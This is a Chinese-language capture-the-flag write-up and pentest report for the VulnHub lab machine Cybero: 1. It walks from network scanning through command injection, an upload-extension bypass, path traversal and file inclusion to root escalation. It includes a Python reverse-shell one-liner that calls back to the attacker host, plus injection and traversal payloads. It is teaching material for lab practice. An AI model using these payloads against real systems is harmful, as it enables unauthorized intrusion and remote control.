Cybero: 1靶场渗透
Cybero: 1
来自 <Cybero: 1 ~ VulnHub>
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
那么攻击机IP为192.168.23.128,靶场IP192.168.23.139
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.139
端口 | 状态 | 服务 | 版本 | 备注 |
21 | filtered | ftp | - | 被防火墙/过滤阻止,无法扫描 Banner |
22 | open | ssh | OpenSSH 7.4 (protocol 2.0) | 可用密码爆破或密钥攻击 |
80 | open | http | Apache 2.4.6 (CentOS) PHP/5.4.16 | Web 服务,可能存在 PHP 5.4 漏洞,TRACE 方法开启 → 潜在风险 |
8085 | open | http | Apache 2.4.6 (CentOS) PHP/5.4.16 | Web 服务,PHPSESSID 未设置 httponly → Cookie 安全性不足,Web 可能存在弱点 |
4,尝试访问80端口开放的http服务
扫描枚举该网页存在的子目录
dirsearch -u http://192.168.23.139 -x 403,404
没有有效成果,换一个工具试试
dirb http://192.168.23.139
存在一个 http://192.168.23.139/userapp/
这其中包含了一些敏感信息
有账户名字,电话号码,社交媒体
将社交媒体的二进制字符串转换为ASCII码,得到一串16进制字符串(有特征可得,只出现了0-F以内的字符串,故推测为十六进制)
然后继续HEX解密得到一个网址 https://www.instagram.com/roxannebasley/
相当于通过社会工程得到第一个flag
5,再访问8085端口开放的http服务
提示:你能给我打电话吗?我是谷歌!我知道一切,你的名字:)
这里我们输入sql文件里面泄露的电话试试这个网页的功能
推测这个网页输入框能够将输入的命令在服务器执行,可能会存在命令执行漏洞。那就ping加whoami测试一下
ping -c 3 google.com;whoami
由此得到第二个flag.点击超链接Follow me:),跳转到文件上传页面/darkroomforyou/bullshitjok3foryou.php,提示:相信我你可以上传php文件。
6,那就尝试上传php文件,这里使用kali自带的反弹shell木马
结果上传失败,要求只能上传图片
使用burpsuite继续web渗透。首先就是爆破出合法上传文件后缀名
使用burpsuite的Intruder爆破模块,然后将php后缀名设置为变量,字典选用常见php网站后缀名,模式选择狙击手。
7,成功得到第三个flag,合法后缀名是phtml。再根据提示访问
根据提示前面抓包时,请求头中有个和AGENT相关的参数User-Agent,尝试修改值为007,再forword放包。
然后进入一个存在文件包含漏洞的网页
注意每次都需使用burpsuite将user-agent改为007。此时成功利用文件包含漏洞得到第四个flag
http://192.168.23.139:8085/darkroomforyou/agent.php?page=../../../../../../../etc/passwd
8,然后将反弹shell木马改为jpg格式,再上传上去。最后通过文件包含漏洞利用执行反弹shell的php代码
注意文件包含漏洞需要改user-agent
http://192.168.23.139:8085/darkroomforyou/agent.php?page=uploads/shell.jpg
与此同时打开对4444端口的监听,最后成功getshell
9,信息收集一下,得到第五个flag和hemid用户的密码hemid123
10,ssh登录到hemid用户,然后信息收集
ssh hemid@192.168.23.139
家目录下有17932文件,经过cat查看,是CVE-2011-1485 pkexec特权提升漏洞的利用脚本
cp 17932 17932.c
编译
gcc 17932.c -o exp
# 提权
./exp
提权失败
11,在/tmp目录下,存在endofthegame.py
查看一下脚本
cat /tmp/endofthegame.py
属主是root用户,那么尝试能不能写定时任务提权
import os,socket,subprocess s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(('192.168.23.128',1234)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/bash","-i"]) |
与此同时kali攻击机打开对1234端口的监听
最后成功提权变成root
Cybero 1 渗透测试报告
1. 渗透目标
- 靶机 IP:192.168.23.139
- 攻击机 IP:192.168.23.128
- 网络环境:虚拟机,NAT 模式
- 靶机操作系统:Linux (CentOS),运行 Apache Web 服务和 SSH 服务
2. 信息收集阶段
2.1 网络发现
- 使用局域网扫描工具发现靶机在线,并确认 IP 地址
- 扫描发现目标在同一子网,延迟低,说明直接可达
2.2 端口和服务探测
- 开放端口及服务
- 21/tcp FTP:被过滤,无法进一步探测
- 22/tcp SSH:OpenSSH 7.4,存在弱口令或密钥爆破可能
- 80/tcp HTTP:Apache 2.4.6 + PHP 5.4,存在已知 PHP 漏洞,TRACE 方法启用
- 8085/tcp HTTP:Apache 2.4.6 + PHP 5.4,Web 应用存在 Cookie 安全问题(PHPSESSID 未设置 HttpOnly)
- OS 推测:Linux 内核 3.10-4.11,系统版本偏旧,可能存在本地提权漏洞
3. Web 渗透阶段
3.1 目录枚举
- 对 80/tcp Web 服务进行目录扫描,发现 /userapp/ 子目录
- 目录中包含敏感信息(用户名、电话号码、社交媒体信息)
- 利用 HEX 解码社交媒体二进制字符串,获得 第一个 flag
3.2 输入验证与命令执行
- 访问 8085/tcp Web 服务,页面提示“你能给我打电话吗?我是谷歌”,输入之前泄露的电话号码
- 推测输入框存在命令执行漏洞,通过 ping + whoami 测试成功获得 第二个 flag
3.3 文件上传漏洞
- 页面提供文件上传功能,但仅允许图片上传
- 使用 Burp Suite 的 Intruder 模块爆破文件扩展名,发现 .phtml 可被接受
- 上传包含反弹 shell 的 .phtml 文件,获取 第三个 flag
3.4 文件包含漏洞
- 页面存在 User-Agent 验证,需修改为特定值(007)
- 利用文件包含漏洞访问 /etc/passwd,成功获得 第四个 flag
- 将反弹 shell 文件上传为 .jpg 并通过文件包含漏洞执行,成功获得 Web 反弹 shell
4. 权限提升阶段
4.1 用户级访问
- 获取 hemid 用户凭证,通过 SSH 登录
- 收集家目录信息,发现 CVE-2011-1485 pkexec 漏洞利用脚本,尝试提权失败
4.2 定时任务提权
- 在 /tmp 目录发现 root 属主的 Python 脚本 endofthegame.py
- 分析脚本内容为反弹 shell,尝试通过定时任务触发
- 在攻击机监听对应端口,成功执行脚本并提权为 root
5. 技术要点与知识点总结
5.1 信息收集与扫描
- 局域网扫描、端口探测和服务识别
- Web 目录枚举和敏感信息分析
5.2 Web 渗透
- 命令执行漏洞(输入框未过滤用户输入)
- 文件上传绕过与后缀爆破
- 文件包含漏洞与 User-Agent 绕过机制
- 利用反弹 shell 获取 Web 访问权限
5.3 权限提升
- 利用本地 Python 脚本结合定时任务触发 root shell
- 结合已知漏洞(pkexec)进行尝试,但需验证环境适配性
5.4 社会工程
- HEX 解码敏感信息,获得 Web 应用初始访问权限和第一个 flag
- 分析 Web 页面提示信息和输入行为,推测潜在漏洞
6. 渗透链总结
- 信息收集 → 局域网扫描、端口服务探测
- Web 渗透 → 目录枚举 → 命令执行 → 文件上传 → 文件包含 → Web 反弹 shell
- 用户权限获取 → SSH 登录 hemid
- 提权 → 利用定时任务触发 root shell
7. 风险评估与安全建议
- PHP 版本过旧:建议升级至最新稳定版本
- 文件上传安全性:限制上传文件类型,增加文件内容验证
- 命令执行与文件包含漏洞:修复输入过滤,避免用户输入直接执行
- User-Agent 校验逻辑:避免关键功能依赖客户端可控参数
- 定时任务安全性:不要在系统级别执行可写目录下的脚本